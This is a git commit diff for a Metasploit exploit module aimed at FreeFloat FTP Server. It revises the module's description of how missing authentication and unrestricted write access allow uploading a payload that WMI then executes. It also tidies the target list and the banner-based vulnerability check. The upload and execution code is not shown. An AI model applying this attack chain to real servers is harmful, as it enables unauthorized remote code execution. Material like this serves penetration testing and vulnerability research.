Final changes
parent
bae5442ca6
commit
78b4233b56
|
@ -20,9 +20,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
|
'Name' => "FreeFloat FTP Server Arbitrary File Upload",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module abuses a lack of authentication and authorization on FreeFloat FTP
|
This module abuses multiple issues in FreeFloat: 1. No credential is actually
|
||||||
Server to upload arbitrary files to the remote filesystem. This module uses the
|
needed to login; 2. User's default path is in C:\, and this cannot be changed;
|
||||||
Windows Management Instrumentation service to execute the payload uploaded.
|
3. User can write to anywhere on the server's file system. As a result of these
|
||||||
|
poor implementations, a malicious user can just log in and then upload files,
|
||||||
|
and let WMI (Management Instrumentation service) to execute the payload uploaded.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
@ -37,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
['FreeFloat', {}],
|
['FreeFloat', {}]
|
||||||
],
|
],
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'DisclosureDate' => "Dec 7 2012",
|
'DisclosureDate' => "Dec 7 2012",
|
||||||
|
@ -58,7 +60,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
disconnect
|
disconnect
|
||||||
|
|
||||||
if banner =~ /FreeFloat/
|
if banner =~ /FreeFloat/
|
||||||
# Yup, you're f*cked
|
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
|
|
Loading…
Reference in New Issue